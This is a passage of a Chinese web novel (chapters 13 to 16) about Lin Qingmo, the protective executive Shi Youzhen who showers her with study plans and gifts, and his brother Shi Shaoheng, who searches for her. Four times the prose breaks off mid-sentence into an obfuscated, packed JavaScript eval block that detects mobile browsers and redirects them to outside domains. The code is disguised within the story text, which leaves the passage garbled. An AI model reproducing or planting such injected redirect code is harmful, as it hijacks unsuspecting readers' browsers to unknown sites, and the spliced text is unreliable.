“赠与林清茉。(17日至23日)” 一周三千,一个月一万二,比之前协议里的还多了两千块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071965|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真是大方的融恒集团大爷,他估计对清茉也没点信任,怕给多了挥霍,当然,按照工薪阶层的标准,也不少了。 清茉下楼去跟焦叔要了账单,焦叔摆手说着:“难得来一趟,甭管了。” 清茉:“别别别,我这儿有个爷非要买单,我得把账单拍给他看看。” 焦叔笑着去打印单子,清茉扫了过去,把账单还有支付截图都发给了施友臻,施友臻回复信息问道:“好吃吗?” 清茉秒回:“当然没有融恒集团的燕窝好吃,那可是贼人半夜三更摸进我家送的。” 施友臻就没再回复。 午后点儿过后,饭店客人变少,清茉给六六在二层拍摄了几套春装、夏装,清茉很上镜,镜头感也好,六六作为买手店主理人兼摄影师兼模特中介兼清茉宇宙彩虹屁第一人,美滋滋指挥着清茉摆姿势。 六六:“对对对,双腿叠坐往前伸,手臂在胸前抱V。” “好,来,来个双腿岔开跪坐的,我的老天爷,对对对。” “双腿侧坐,手撑地,肩膀往下压,好好好。” 清茉:“……” 拍完一组,清茉摆摆手说着:“你这么个拍法,那是另外的钱了!” 六六嘿嘿直乐,清茉正好接到一个陌生号码来电,猜着可能是施友臻说的那事,就接起来,对方礼貌问道:“您好,我是施总的助理章宁,我现在到六六买手店门口,请问方便拿一下材料吗?” 清茉:“好,您看到路对面有个园区大门了吗?我大概五分钟走过去。” 清茉让六六在这儿挑片儿,她披上外套去拿材料。 施友臻身边的工作人员自带精英派头,不管是上次的深夜小哥,还是这会的章宁助理,不过看派头,章助理应该级别更高一些,他在园区门口等到了清茉,打招呼说着:“您好。” 同为行政人员,清茉特别想跟章宁打听融恒集团的后台部门薪资待遇,她也笑着打招呼,问着:“什么资料还得麻烦亲自来送一趟,谢谢您。” 章宁托了托眼镜,说着:“应该是比较重要的资料。” 林清茉按照自己对施友臻的了解推测,估计是那个劳什子资助协议的补充协议,印着融恒集团LOGO的文件袋里装着厚厚一沓纸张,抱手里沉甸甸的。 谢过对方回到焦叔店里,六六问拿什么东西了,清茉把文件袋装好,说着:“还没看,回去再说,走吧,先去你店里,赶紧拍完,晚上想去看个电影。” 跟六六看完电影,逛完街,回到家也将近十一点多,清茉这才把那个文件袋拆出来,想看看施友臻又整出些什么奇葩条款。 抽出一百多页的材料,清茉愣住。 里面是从国内到国外,各种高校人文学科、艺术学科的专业设置资料和院校情况资料,并且整理出了详细的申请方式、申校难度、学科分析、就业前景、复习规划等等。其中有几个学校和专业,是清茉曾经很向往的去处,但是非常耗费资金,清茉后来压根就没有再考虑过。 清茉看着这些资料,心情复杂,虽然说岁月无可悔,但是还会有几分惋惜和遗憾。 那些向往过的专业和院校,是她林清茉戛然而止的另外一个人生。 13. 第十三章 厚厚一沓纸质报告,充满了施友臻的风格,他甚至不会直接给清茉发电子文档,而是板板正正打印出来,核定好目录大纲,用带着融恒集团专用页眉的纸张装订成册,每个院校后面都有一个分析章节,言简意赅给出可行性分析。 绝对的施友臻风格。 小时候对于稀有皮小包代表的价值概念并不明晰,听大人闲聊知道是贵的好的,在她自己看来,只是可以搭配蓬蓬裙的美丽物件。 现在长大成人,收到这样一份一百多页的分析建议,清茉觉得比当时那个稀有皮小包更贵重。 当然了,林清茉冷静一想,觉得更大的可能是,施友臻让他精英文秘行政团队帮忙给整理的。 不管怎么样,说到底是有心了,清茉拎的清,给施友臻发信息:“谢谢哥,会认真阅读。” 施友臻仍旧深夜未眠,很快回复:“不客气,有疑问可以沟通咨询。” 清茉犹豫了下,其实很想问是不是施友臻自己整理的,还是秘书部门帮忙编写的,不过总觉得不太好,诚意已经很足够了,就这么不要深究地翻篇吧。 站在施家大哥的立场,不管是那场“皮肉之苦”的乌龙管教,还是现在沉甸甸的百页未来规划,为外人费这个心,已经是非常非常难得了,施友臻还是融恒集团的主人,他的时间精力,昂贵得有市无价。 清茉回复:“谢谢哥,刚才翻看了几篇,还真有几个很感兴趣。” 发完,清茉自己都无语笑了,她怎么顺着这虚构的剧情发展不能自拔了,明明应该找机会跟施友臻坦白全是误会一场,她正正经经地考学、念书、上班,不敢说是什么社会精英,但是也算是工作体面,收入稳定。 施友臻回:“整理的时候感觉有几个适合你,这几天我在外出差,回去见面沟通一下。” 清茉瞧着这话,瞬间怀疑施友臻是不是故意的,一句话传达了不小的信息量:第一,材料是施友臻自己整理的,第二,施友臻因为外出才让秘书过来送,第三,回来要见面。 这怎么弄啊。 清茉很烦恼,趴在床上睡意全无,仔细翻看那些院校材料,年少时候以为世界很大,五湖四海天大地大,过到现在每天两点一线,高度重复着工作和生活内容,房贷压身,不能停歇,职场前景说不上多坏,但是打工人看别人脸色拿薪水,也说不上前景多光明。 抱着材料盯着天花板发呆,施友臻又发来一条信息:“手腕好了吗?” 清茉自己也抬起来看一眼,早就看不出来了,回复:“好了。” 施友臻:“拍张照片看一下。” 清茉:“……”至于吗?她回着:“真没事了,但是哥以后不能再那样,吓人。” 施友臻突然拨进来电话,清茉吓一跳,接起来,但是岔开话题问着:“还不休息吗?哥,去哪里出差了?” 施友臻:“在G市。抱歉,以后不会了,前提是你也不能撒谎。” 清茉心里挺咯噔,她撒的可不是小谎,东窗事发之后估计够她喝一壶的,清茉稳稳心神,说着:“不会的,哥你这么重视,我……” 清茉接不上话,该咋说,很感动,以后听话?根本说不出口,而且以后被施友臻知道他费心费力的帮扶都是白白浪费心神精力,林清茉觉得还有一顿好打等着自己。 施友臻倒是接话很快:“嗯,知道就好,拍照发给我,睡吧。” 真是偏执人设不倒,怎么还惦记着要照片,清茉只能应着,结束通话后对着自己的手腕拍了一张发过去,大概是她脑子里思绪太多,发完之后,施友臻回她:“拍错了,是另外一侧手腕。” 清茉:“……” 换手拍了另外一侧发过去,总算通过了施友臻的检查,施友臻回复:“嗯,睡吧。” 清茉:“……” 施友臻看着清茉发来的照片,白皙纤细的手腕搭在深米色的床单上,依稀能唤起那天细腻微凉的触感,施友臻点了保存图片。 不知道是不是被那些资料感化,施友臻觉得今夜的林清茉格外乖巧礼貌,让干什么干什么,没有呛声反击,深夜可能染着几分困意,她讲话声音糯糯的,带着几分从前撒娇央求的小女孩影子。 施友臻更新了一版最新的日程安排,发给了章助理,下周返程后,有两天晚上的行程改成了空白,标注私人行程。 周六浪,周日躺。清茉周日窝在家里休息,那沓资料她已经看完,把感兴趣的几个学校和专业用彩色便签标记出来,等着施友臻回来跟他汇报研读成果。 入戏就入戏吧,找个轻松的时间节点,跟施家大哥坦白从宽,大不了就是一顿骂。 六六打来电话,说挑好照片了,要发给清茉看,清茉瞧着她发来的网盘链接,懒得下载,就说着:“随便用呗。” 六六:“那我可全用了,尤其是撩人的那组,我不传客户,但是打印出来放店里,超美的。对了你融恒集团的爷,怎么着了?” 清茉:“人生寂寥全靠演技,别提,好烦,正想找机会坦白呢,怕他揍我。” 六六:“人生寂寥试试无妨,我等着看你热闹哦,有进展跟我通报,朋友的乐子就是我的乐子,哈哈哈哈哈哈哈。” 清茉:“嗯,我的义务就是让我的朋友快乐,滚吧,回见。” 清茉不知道的是,六六拍的这组照片,还真是差点让她乱上加乱。 六六的买手店从海内海外淘小众潮牌,因为设计审美眼光独到,价格不菲,但是格外受欢迎,经营几年积累了不错的口碑,大手笔的老客户不少。 她把清茉拍的一部分新款照片群发给VIP老客户,按照惯例打招呼问候各位尊贵的VIP客户要不要约时间来试装。 清茉之前作为模特给六六拍摄过很多次,六六很喜欢清茉诠释时装的感觉,没有专业培训出来的刻板。 六六把清茉试穿拍摄的几分不走心升华为:“就该这样,你是时装的主人,不是奴仆,就要这种冷漠轻视的感觉。” 清茉当时一个白眼,说着:“闭嘴别废话,快点拍,好饿。” 拍了好几季,有一季主推职场中性飒酷风,清茉拍出来效果特别好,都有客户专程打听清茉情况,男女都有,意图不明,六六也是见过风浪江湖的人,全部都笑脸相迎打哈哈堵了回去。 问的多了,她也见怪不怪,美人嘛,窥之探之,人之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他原本没参与讨论,在手机上回信息,桌上几位女高管在聊购物,几位男士在聊健身,挨着女副总坐的男士好奇也看了眼照片,评价道:“这家店模特很漂亮,很有味道。” 一点评,男人们都好奇地传看照片,施少衡也瞥了一眼。 一眼愣住。 踏破铁鞋无觅处,林清茉竟然以这种方式,明晃晃出现在了眼前,毫无防备的施少衡被惊得当场定住。 照片中的清茉穿着一套复古薄纱印花裙,繁复的花卉元素和清茉一同张扬明媚,施少衡心中巨震,脑子里空空荡荡,最先感叹的是:茉茉好漂亮,更漂亮了。 之前的侧影模糊不清,他纠结了很久到底是不是,而眼前的这张,则是清清楚楚明明白白,就是林清茉。 醒过神的施少衡猛站起来,攥着副总手机,说着:“你来一下。” 他留副总在自己办公室,强压要尖叫的冲动,把清茉拍的这一季照片全部浏览完,又问明白照片出处,副总以为她看上模特了,乐道:“我帮着打听一下?他们店里经常用这个模特。” 茉茉现在做模特吗? 少衡让副总打电话过去,原以为很容易打听到联系方式,没想到被六六都给堵住了。 施少衡干脆跟副总要了六六买手店的地址去地库取了车,直奔过去。 他哥之前问他,就算找到了准备怎么样。 少衡不知道会怎么样,但是他就是得先找到。 找到之后,先好好拥抱茉茉。 要很热烈,很紧很紧很紧的那种拥抱。 14. 第十四章 车程三十五分钟,施少衡在赶去的路上兴奋地想了很多很多。 茉茉是在做模特吗?他可以给茉茉开一家经纪公司,茉茉想接什么就接什么,茉茉自己做老板更好。 那个买手店虽然客户不少,但是好像也没有那么上档次,茉茉应该给高奢珠宝当模特。 马上找到茉茉的事情要告诉大哥吗?算了,上次大哥都没有回复,感觉兴趣缺缺,小时候大哥跟茉茉就不对付,横眉竖眼的。 还有就是,她这些年过得怎么样,有没有埋怨不早一点找到她。他们分开的时候都懵懂不知道发生了什么,等到成人,好像不太容易找到一个契机去追溯过往。 导航提示还有最后一个红灯,过了路口就是那个六六买手店了,施少衡近乡情怯似的紧张地攥紧方向盘。 少年学的,石头上刻的,少年喜欢过的,也格外刻骨铭心。 施少衡把他惹眼的跑车泊在路边,下车深呼吸,走进了六六买手店。 六六买手店发出新品后,不少客户约着过来看,又正好是周末,店里人不少,六六忙着接待,应接不暇。 施少衡推门而入的迎客门铃,并没有引起足够的关注。 他原本想进店赶紧打听招人,但是一进门就被迎面展架上的一组照片吸引。 是茉茉。 就是林清茉在焦叔店里阳光房拍摄的那组照片,室内绿植生机勃勃地萦绕在四周,阳光斑驳温暖地打在清茉身上,长发慵懒散下,修身红裙勾勒纤细婀娜身形,含着浅浅笑意的眸眼勾起风情万种。 原本就紧张期待的少衡,心跳更快。 施少衡定了定心神,环顾四周,面积不算大,琳琅满目,色彩填充得很满,店主模样的女孩在忙着招待,副总说这家小店很火,但是施少衡觉得很狭小逼仄,配不上茉茉。 茉茉的巨幅模特照应该出现在顶奢品牌的店里。 所以要是茉茉想要,他真的可以帮茉茉拿资源,帮她开公司,身边狐朋狗党不少找嫩模小女友,施少衡没少听他们怎么捧人,茉茉想的话,她想要什么就要什么。 六六送客人出门的时候,才看到施少衡,店里女性客人居多,少衡高高地站在那里,很是亮眼,六六热情打招呼道:“您好帅哥,第一次来吗?进来看看,需要帮忙推荐男装搭配吗?” 施少衡将清茉的照片取下来,亮给六六看,问着:“她是您店里模特吗?” 六六点头:“对,是要找同款送女朋友吗?帅哥好眼光。” 施少衡问:“不,我需要她联系方式,林清茉对吗?” 六六一怔,警惕起来,说着:“真不巧,我们拍摄合约刚到期,她去外地了,这几天我给她电话也都打不通。” 施少衡:“麻烦给一个她之前用的电话,我联系试试。” 六六这才仔细打量眼前的男士,一身看不出LOGO的考究休闲西装,举止俊朗,眼睛很明亮,但是他知道林清茉的名字,还执着于要清茉的电话号码,六六继续警惕说着:“您是?” 施少衡:“是她朋友。” 六六犹豫一下,说着:“那您稍等,我去拿手机找一下。” 鬼精灵的六六在衣架拐角处偷拍了一张施少衡的照片,发给清茉,紧急问着:“是你认识的人吗?打听你联系方式呢,给不给?” 窝在家中刷手机的清茉即时收到了信息,点开照片的时候一怔,是少衡啊,怎么打听到六六店里了。 清茉给六六拨过去电话,六六问着:“什么情况?给不给?” 清茉犹豫了一下,说着:“给吧,接不接我再考虑一下。” 六六:“祖宗!你是不是处处留情债了!这个也好帅的,我这会从二楼窗户往外看,他开一辆超级拉风的跑车,你吃得下吗?吃不下分我一个成吗?” 清茉:“小心人家是花花公子,这位可招人了,老六你道行不行。” 六六:“行吧,知道了,我待会就把你联系方式给他。” 六六得了清茉许可,拿着手机下楼,热络招呼道:“您记一下?”又垫话道:“她挺不好联系的,反正我这几天没联系上。” 施少衡录好号码,没着急走,问着:“她……是专门做模特吗?有经纪公司吗?” 六六想起之前帮清茉伪造的合同跟简历,立马接上说着:“对,做模特,反正跟我签了个模特约,别的公司有没有就不清楚了。” 施少衡笑了一下,明朗的帅哥笑起来太有杀伤力,六六简直想捂住胸口尖叫,少衡说着:“谢了,也谢谢照顾茉茉,你店里最贵的是什么?” 六六显然消化不了“照顾茉茉”是几个意思,少衡又问了一句:“最贵的是哪件?” 六六指了指几件皮草,少衡说着:“都帮我打包了。” 六六:“?啊?” 少衡:“怎么付?扫这个?合计一下多少钱?” 六六有零有整地按照标价算好报给施少衡,少衡夸张地多转了很多,但是走到门口的时候他停下脚步,将清茉拍摄的那组照片全部取了下来,说着:“我要带走这组照片。” 六六疑惑,试图阻止:“我得问问吧,这是她特许放我店里的,别的照片行,这组得问问。” 少衡好像猜到了为什么,笑道:“那我更得给她收好了。” 六六目送施少衡上车,心中隐隐后悔刚才的买卖,不知道会不会给清茉闯祸,这一单简直是开张吃三年的节奏。 她赶紧给清茉打电话,尖叫道:“你知道他消费了多少!!!他把我好几年卖不动的超贵老演员们都买了!!!因为要谢谢我照顾你!!!果然是情债对不对!!!等一下!卧槽他压根没拿走!!!” 清茉被老六吼得耳朵疼,说着:“他大手大脚惯了。”正通话呢,手机有新来电提醒,重复拨了好几遍,清茉猜大概就是少衡的号码。 清茉挂掉了跟六六的通话,盯着少衡的号码发呆。 并没有做好见面的准备,中间还横着他大哥的警告,退一万步讲,就算跟施家大哥坦白自己不是什么淌风尘的人,就算是正经小白领,施家大哥的立场应该还是不会变,仍旧会警告清茉离施少衡远点。 不是自己的圈子,不要硬挤。 少衡是风风火火的性子,爱恨直白, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071967|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清茉没把握在风险可控的范围内应付得来。 电话固执地响了一遍又一遍,清茉给这个号码标注为:“少衡-不能接” 清茉也不知道已经响了多少次,终于停歇后,少衡发来一条信息:“是茉茉的号码吗?” 清茉犹豫直接回复不是,还是放任让这个号码成为联系不到人的号码,对于少衡,有点狠不下心,也没必要。只是眼前得先把施友臻的事情捋顺,清茉想着,先找机会跟施友臻坦白,再跟少衡道个歉。 制定顺序之后,心里通畅很多,但是少衡仍旧固执地在拨打电话,清茉连上了充电器,想了想还是给回复了一条: “不是。” 清茉记得清清楚楚,那天在柏金大厦顶层的云端CLUB,施友臻冷漠说着:“希望今天晚上只是一个意外插曲,也希望以后你跟我弟弟少衡保持距离。” 那天她顶着廉价又浓重的妆造,一身被很多人租借过的高仿,强装镇定地在施友臻面前保持不在意,其实心里并没那么淡定。 倒也不是指责,各人有各人的立场,施友臻家大业大,他的考量也没有错。 少衡固执地又拨了一通,清茉犹豫片刻,还是把号码拉进了黑名单。 到底是更介意施友臻的话,以后再说吧。 现代通讯,联系一个人很便捷,屏蔽掉一个人也很简单。 清茉换上跑步装备,准备去小区旁边的沿河路夜跑,临出门装手机的运动腰包卡扣突然断掉,清茉干脆就不带手机了,远离电子设备一两个小时,净化下心灵。 五公里的路程,她跑得不快,冬天到底是冷,沿河步道上行人稀少,清茉在河堤高台上做好拉伸,慢悠悠听着音乐往回走,准备过路口的时候,被突然急刹在身旁的车子吓一跳。 车窗降下,赫然是施友臻。 清茉简直无语,问着:“哥?你不是在出差吗?” 施友臻:“你手机是摆设吗?” 清茉:“出来跑步,懒得带嘛。” 施友臻扫她一眼,入眼是修身运动装束和刚跑完步红润的脸颊,他别过目光,说着:“上车。” 清茉站在车旁拉伸胳膊,并不挪动,问着:“干嘛?又要去我家吗?我可整个周末都乖乖待在家里。” 施友臻:“那最好。” 清茉到底还是上了车,没几步到她家楼下,施友臻先下了车,去后备箱拎出几个大纸袋,清茉好奇问:“哥给我带礼物了?看起来很贵重!这么快就激活奖励条款了吗?” 清茉寻思着按照施友臻以前爱送稀有皮的习惯,八成还是那些他惯有的审美,送包就送包吧,长者赐不可辞嘛。 施友臻拎着硕大的几个袋子走在前面,清茉还想着包装LOGO挺陌生,是什么少见的定制品牌吗? 走到门口,施友臻停下脚步,清茉说着:“摁啊,密码又不是不知道。” 施友臻一个眼神刀过来,清茉:“好好好,我来开,密码我生日!” 施友臻进门,竟然径直拆开了几个包装盒,清茉目瞪口呆瞧着拆出来的东西。 竟然是,三套,护眼灯。 15. 第十五章 施友臻应该是从办公场所直接过来,仍旧是他一丝不苟的正装穿着。 清茉突然想,她甚至没有见过施友臻穿日常便装的时候,自从重新遇见,每一次见面,施友臻都是穿着得体的成熟严肃形象,纹丝不乱到有几分古板,形成固定的刻板印象。 算起来,好像已经见了很多次。 正想着,施友臻突然脱下西装外套,抬眼四周环视,好像没有找到满意的放置位置,看向清茉,清茉赶紧探手接了过来,调侃说着:“您这名贵料子,我得找地儿供起来。”转身去卧室拿衣服撑子挂好。 外套抱在怀中,感觉到施友臻衣服上的香氛味道很淡,沉稳的松木香尾调,跟施友臻有很强的统一性风格,不张扬,最初觉得清淡,但是味道会很固执地萦绕周遭,强调主人的存在感。 制式,统一,固执,看上去高高在上、不好相处的施友臻。 她理好衣服出来,有些意外地看到施友臻已经解开衬衣袖口,在小臂上挽几道,领口的扣子也解开了两颗,他蹲在清茉面积狭小的玄关,用力拆开护眼灯包装,手背和小臂的筋脉纹路清晰,骨节分明,手指修长,施家大哥连手都是很完美的样子。 欣赏男士美感的清茉有些愣神,原来大家就这么成年了,真是流年偷换。 胡思乱想被施友臻打断,施友臻指挥道:“把包装盒先放外面。” 玄关空间被几个拆下来的外包装盒充满,清茉过去帮忙整理,说着:“哥,怎么突然给我买灯?” 施友臻将三个一模一样的灯拆出来,拆掉保护膜,说着:“秘书室更新办公设备,听他们推荐这款很护眼,你要念书,卧室、客厅、书房都更换一下。” 清茉:“谢谢哥,但是我没有书房,两个够了。” 施友臻手中动作一顿,说着:“卧室放两个。” 清茉忍笑,帮施友臻拿起一台,准备进卧室装上,施友臻仍旧是非常大大方方地在清茉家里行动,进卧室在床头柜上安装好一个,另外一个放到了清茉梳妆台兼书桌上。 清茉的书桌其实就是置物架用途,平时看书玩手机趴床上或者窝在沙发里,而且周末出门画了全妆,铺出来好多化妆品没收拾,被施友臻正好瞧见。 施友臻看着乱放的一堆化妆品,说着:“收拾一下。” 清茉简单归置,嘴硬道:“女孩就是这样的,乱中有序。” 施友臻倒是没再继续说教,他看到了自己给清茉准备的那沓材料也放在桌上,就随手拿了起来。 清茉在材料里仔仔细细地用彩色便签纸都做了标记,翻看几页,发现她把需要重点注意的地方做了勾选和备注。 好像很认真的样子,施友臻转身跟坐到床尾上的清茉对视了目光,清茉指了指材料,求证道:“哥,真是你自己整理的?” 施友臻:“嗯。” 清茉:“哥,你是不是工作不饱和,这么闲的吗?” 施友臻对清茉给出的如此评价好像很不满意,但还是耐心地解释了句:“别人对你情况不了解。” 清茉揶揄不了这份真心,再次说着:“谢谢哥,超级感动,吃宵夜吗?我煮个小馄饨?还是去楼下吃?外卖?我看看附近好吃的。” 施友臻:“不用。” 他拿着资料走出去,径直来到清茉冰箱前,自我服务地拿了一瓶冰镇苏打水,说着:“坐,聊一聊你的想法。” 购置沙发的时候为了兼顾小户型的空间,清茉专门买了迷你的双人沙发,施友臻一落座,就几乎占满了大半,清茉当然不会去挤,干脆盘腿坐在沙发前的地毯上。 倒显得施友臻像这个空间的王,king,不加B。 清茉换了个自己舒服的姿势,昂着头看向施友臻,问着:“哥想聊什么?我认真看了,看到标记了吗?感兴趣的都贴了便签纸。” 施友臻原本在垂眸翻看清茉的标记,抬眼看到盘腿坐在他膝前地毯上的清茉,她昂着脸望过来,眼睛明润,像只伪装乖巧要撒娇的猫咪,施友臻突然有种清茉会突然趴到他膝盖上的错觉。 厨房里烧水壶提示水已经烧开,清茉想烧水给施友臻泡个茶,听到提示音准备起身,起得急有点失去平衡,就撑了一下施友臻的膝盖,借着力站起来。 施友臻突然攥住清茉碰触他的那只手腕,其实只是很短暂地借力扶了一下,清茉手都离开他膝盖了,施友臻却攥了一下清茉手腕,又往前推开。 清茉:“?” 施友臻盯着清茉几分疑惑的目光,心里却想着,她就是这么擅长装做无心地跟人亲密碰触吗? 施友臻很严肃地对清茉说:“我不喜欢肢体接触,不要碰。” 清茉一怔,这才反应过味来,心里堵了一万句怼他骂他的话,强忍了下来,没吭声去厨房拿水壶,也不给他泡茶了,反正他有凉水在手,喝去吧。 气氛就这么怪异起来,清茉远远坐在餐桌旁的餐椅上,施友臻看她一眼,起身说着:“约时间再聊吧。” 清茉见他整理袖口,起身去卧室把施友臻外套从衣架上取下,但是都没有伸手递过去,直接搭在沙发靠背上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15071968|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她抱着胳膊站在玄关,一脸准备送客的模样。 施友臻:“……” 他刚出门,清茉就把房门关上,连喊声“哥再见”都不说了,很不礼貌。 门突然又打开,施友臻以为清茉会补上句礼貌告别,结果清茉!竟然一下子蹲下!把他遗落的两颗袖扣放在地上,然后再次关门。 施友臻:“……” 撵走施友臻,清茉回屋看着新换上的护眼灯科技感满满,调试一番感慨,融恒集团的待遇就是不一样,办公用品配备都这么先进,真想打听一下薪金水平。 但是伺候施友臻这种眼睛揉不得沙子的顶头上司,高薪也是有道理的。 施友臻开车往回返,想着刚才清茉的样子,又无语又觉得几分好笑,也并不怎么好笑,他觉得自己也并不是全然说错,只是好像不说出来会更好。 清茉冷脸小猫似的关掉房门,打断了施友臻原本想带她出来吃夜宵的计划,刚跑完步就想吃夜宵,倒是符合清茉跳脱自由的性子。她勾选的几个院校和专业,也很跳脱,艺术策展、珠宝设计、视觉传达、文学研究、社会心理、大众传媒、考古学…… 如果她没有改变成长的轨迹,可能真的会选择一个闪闪发光的深造方向,会是珠宝设计吗?清茉从小对闪闪亮的漂亮艺术品很着迷,每年生日送给清茉的珠宝,她都很喜欢,都是施友臻精挑细选的,清茉说都变卖偿还债务了,很遗憾。 施友臻愈发觉得自己刚才话说得不得体,但是讲出去的话,泼出去的水,改变不了。 他拨通大秘章宁的电话,章宁今天正好在公司值班,施友臻问:“你推荐采购的咖啡机是什么品牌型号?” 章宁:“需要购置吗?” 施友臻:“嗯,采购一款体积小些的,明天要用。” 章宁:“收到,明天上午会到,是安装到您办公室吗?” 施友臻:“不用,直接放我车后备箱。” 章宁心中疑惑,不过BOSS最近的行程里私人事务占比明显提升,他作为大秘,当然非常想关心,但是施总神神秘秘,并没有分享习惯和倾诉欲望,唯一一次不知道出于什么原因,让他送了趟文件。 那两天BOSS加班加点亲自编写着什么材料,还把秘书室有过留学背景的几位文科生召集在一起开了个会,会上让大家推荐专业和国家,据说施总还记了笔记。 故事很多的样子。 话说回来,那天拿材料的女孩,确实很漂亮,落落大方,是很有气质又随和的明媚女孩,是那位吗? 16. 第十六章 清茉餐桌上,放着一罐速溶咖啡。 速溶、快餐、短视频。施友臻非常不喜欢的三件套,糖精和植脂末代表的工业垃圾,容易获得的低廉短暂快乐,用方便快捷的伪装麻痹神经,很轻浮。 清茉餐桌上放着速溶咖啡包装罐,一个塑料收纳盒子中,还放着快餐品牌的番茄酱小料包,虽然不知道她会不会沉迷于刷短视频,同样追求快速来钱的混乱私生活也是一个道理。 施友臻对于自己对林清茉的高度关注和高度干涉,给予的合理解释是,他有改造的欲望,类似于在事业中要闯下一个新的领域,吃下一个重头的标的,逻辑类似,总之,他施友臻在意的项目,都是志在必得。 反正他后备箱中载着咖啡机,往清茉家中驶去的时候,是这么自我解析、自洽逻辑的。 接下来清茉准备申校,学习的时候应该会需要咖啡提神,施友臻还搭了几款他喜欢的咖啡豆,一位烘焙大师帮他定制的豆子,是施友臻喜欢的风格,香气、酸度、醇度,堪称完美。 路上拨通清茉手机,施友臻说着:“我还有二十分钟到你家,晚饭吃了吗?” 电话中清茉那边很是吵杂,施友臻警惕问着:“不在家?” 清茉:“哥?你先别过来了,我下午就出来了,朋友不舒服,我陪他们去看医生。” 好像怕施友臻不信,清茉随后就发来几张照片,清茉在里面露出半张脸,可能拍的时候很匆忙,镜头都是虚晃的,像艺术照。 确实是在医院,施友臻回复:“需要帮忙吗?” 清茉:“不用,您忙您的。” 施友臻觉得不怎么满意,他原本想吧咖啡机今天就给清茉装上,不过她好像真的有着急的事情。 施友臻是一旦出发,就不会调头返程的人,直接到了清茉家楼下。章宁不愧是大秘,在人才济济、勾心斗角的秘书室排位第一是有原因的,这家伙好像预见神神秘秘进行私生活行程施友臻,可能要自己搬卸咖啡机,竟然在后备箱还备了一个小型滑轮拉车。 施友臻认同可以再给章大秘加点薪水。 密码还是清茉生日,施友臻非常熟悉地再次进屋,打开灯,先去冰箱取了一瓶冰镇苏打,脱下西装外套搭在沙发靠背上,就是上次清茉冷着小脸放衣服的位置。 施友臻重复着那天挽起衣袖的动作,解开两颗衬衣领口,开始拆咖啡机外包装,主机、配件一一摆开,研究着说明书。 安装并不复杂,但是清茉的房子实在太小,施友臻评估一番,只能放在靠近阳台齐腰高的置物柜上。施友臻把置物柜上的杂物摆件取下,用纸巾擦了擦桌面,把咖啡机摆上,最小型的这个机子,正合适。 施友臻满意地调整了下咖啡机位置,确保正南正北、规规矩矩、严丝合缝,做了基础清洁,取出自己的咖啡豆准备尝试操作。去找合适的咖啡杯,没有更好的选择,就用了清茉放在餐桌上的一只,虽然上面的机器猫图案过于幼稚。 施友臻想,该给配一套咖啡杯。 按照操作说明上的布置,施友臻实操后很快获得了一杯酸度柔和,醇香细腻的咖啡液。 施友臻一手端着蓝胖子机器猫咖啡杯,一手给清茉发信息:“几点回家?” 清茉倒是回复得快:“没点儿呢,有点麻烦,估计要很晚。” 施友臻没有再催,双腿交叠放松坐在沙发上,品尝他的劳动成果。主人一样环视屋内空间,清茉大概着急出门,家里有些乱,沙发毯堆成一窝,边几上散放着干果零食,地毯上摞着几本杂志,刚才看到厨房洗碗池中的碗筷都没有清洁,垃圾也没倒。 施友臻是跟家务活不沾边的人,但是不知道是无聊还是纯纯看不惯,他叠好了沙发毯,把零食收纳进零食盒,把散落在地毯上的书放到书架上。 不过站在厨房洗碗池旁,还是犹豫了。 在打电话把家中保洁喊来,还是自己动手清洗,还是就这么撂着中认真思考了一下,拿手机上网搜索了一下清洁步骤,挽了挽袖口,一脸严肃地在厨房门口静站片刻,下定决心似的走到洗碗池前,挤出洗洁精。 洗碗机看来也要配一台。 施友臻一边洗碗,一边觉得自己的逻辑闭环摇摇欲坠,该怎么解释此时此刻为什么会在洗碗。他想,可能是并不反感清茉的这个麻雀内脏似的小小居所。蓝胖子的咖啡杯虽然幼稚,化纤的沙发盖毯是夸张的波西米亚花纹,地毯是廉价扎人的黄麻编织毯。 饱和度很高的绿色树叶图案窗帘,橙红色狭小的布艺沙发,卡通马戏团图案的入户地毯,红格子餐桌桌布,野生动物园明星集合的厨房门半帘,置物架顶端的移动城堡乐高,冰箱门上凌乱的各地旅行纪念冰箱贴。 她的空间是彩色、生机勃勃的。 施友臻在这个与自己惯有风格大相径庭的空间中,各种看不惯,各种不认同,但是他好像喜欢待在这里,如果一定要给予一个行为合理化分析,施友臻试图定义为这是一个“避世空间”。 既定的生活轨道、工作轨道,已经高度重复化运营太久,新鲜的体验,可以让人喘息放松,跟运动、看电影、看戏剧一样。 